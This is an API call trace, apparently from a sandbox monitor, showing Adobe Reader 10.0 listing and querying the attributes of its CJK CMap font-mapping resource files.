	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-2", cAlternateFileName="ADF2F4~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-3", cAlternateFileName="ADA8E9~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-4", cAlternateFileName="ADCE7B~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x117c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-5", cAlternateFileName="AD7470~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1263, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-6", cAlternateFileName="AD2A65~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90ms-RKSJ", cAlternateFileName="AD02A2~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90pv-RKSJ", cAlternateFileName="ADE5F6~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-CID", cAlternateFileName="AD8921~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Host", cAlternateFileName="ADD587~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Mac", cAlternateFileName="ADF41D~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49a9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-UCS2", cAlternateFileName="AD1CC0~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-0", cAlternateFileName="AD0C77~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-1", cAlternateFileName="ADE5E5~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-2", cAlternateFileName="AD30F0~1")) returned 1
	[0054.533] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b8d4 | out: lpFindFileData=0x1251b8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-CID", cAlternateFileName="AD15A3~1")) returned 1
	[0054.537] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0054.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\83pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\83pv-rksj-h"), fInfoLevelId=0x0, lpFileInformation=0x12473bd8 | out: lpFileInformation=0x12473bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d27)) returned 1
	[0054.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-h"), fInfoLevelId=0x0, lpFileInformation=0x12473c78 | out: lpFileInformation=0x12473c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18fe)) returned 1
	[0054.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-ucs2"), fInfoLevelId=0x0, lpFileInformation=0x12473cc8 | out: lpFileInformation=0x12473cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b5fe)) returned 1
	[0054.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-v"), fInfoLevelId=0x0, lpFileInformation=0x12473d18 | out: lpFileInformation=0x12473d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1166)) returned 1
	[0054.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-h"), fInfoLevelId=0x0, lpFileInformation=0x12473d68 | out: lpFileInformation=0x12473d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b7)) returned 1
	[0054.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90msp-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90msp-rksj-v"), fInfoLevelId=0x0, lpFileInformation=0x12473db8 | out: lpFileInformation=0x12473db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1154)) returned 1
	[0054.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-h"), fInfoLevelId=0x0, lpFileInformation=0x12473e08 | out: lpFileInformation=0x12473e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x202f)) returned 1
	[0054.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2"), fInfoLevelId=0x0, lpFileInformation=0x12473e58 | out: lpFileInformation=0x12473e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73e)) returned 1
	[0054.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90pv-RKSJ-UCS2C" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90pv-rksj-ucs2c"), fInfoLevelId=0x0, lpFileInformation=0x12473ea8 | out: lpFileInformation=0x12473ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x190bf)) returned 1
	[0054.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-h"), fInfoLevelId=0x0, lpFileInformation=0x12473ef8 | out: lpFileInformation=0x12473ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3de5)) returned 1
	[0054.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Add-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\add-rksj-v"), fInfoLevelId=0x0, lpFileInformation=0x12473f48 | out: lpFileInformation=0x12473f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbb)) returned 1
	[0054.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-0"), fInfoLevelId=0x0, lpFileInformation=0x12473f98 | out: lpFileInformation=0x12473f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfc2)) returned 1
	[0054.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-1"), fInfoLevelId=0x0, lpFileInformation=0x12488008 | out: lpFileInformation=0x12488008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107a)) returned 1
	[0054.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-2"), fInfoLevelId=0x0, lpFileInformation=0x12488058 | out: lpFileInformation=0x12488058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108f)) returned 1
	[0054.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-3"), fInfoLevelId=0x0, lpFileInformation=0x124880a8 | out: lpFileInformation=0x124880a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f8)) returned 1
	[0054.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-4"), fInfoLevelId=0x0, lpFileInformation=0x124880f8 | out: lpFileInformation=0x124880f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d)) returned 1
	[0054.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-5"), fInfoLevelId=0x0, lpFileInformation=0x12488148 | out: lpFileInformation=0x12488148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d)) returned 1
	[0054.546] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-B5pc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-b5pc"), fInfoLevelId=0x0, lpFileInformation=0x12488198 | out: lpFileInformation=0x12488198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f13)) returned 1
	[0054.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-ETen-B5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-eten-b5"), fInfoLevelId=0x0, lpFileInformation=0x124881e8 | out: lpFileInformation=0x124881e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20b7)) returned 1
	[0054.554] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-cid"), fInfoLevelId=0x0, lpFileInformation=0x12488238 | out: lpFileInformation=0x12488238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b5)) returned 1
	[0054.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Host" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-host"), fInfoLevelId=0x0, lpFileInformation=0x12488288 | out: lpFileInformation=0x12488288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x212a)) returned 1
	[0054.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-H-Mac" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-h-mac"), fInfoLevelId=0x0, lpFileInformation=0x124882d8 | out: lpFileInformation=0x124882d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f56)) returned 1
	[0054.555] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-CNS1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-cns1-ucs2"), fInfoLevelId=0x0, lpFileInformation=0x12488328 | out: lpFileInformation=0x12488328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44cc2)) returned 1
	[0054.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-0" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-0"), fInfoLevelId=0x0, lpFileInformation=0x12488378 | out: lpFileInformation=0x12488378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd90)) returned 1
	[0054.556] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-1" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-1"), fInfoLevelId=0x0, lpFileInformation=0x124883c8 | out: lpFileInformation=0x124883c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe32)) returned 1
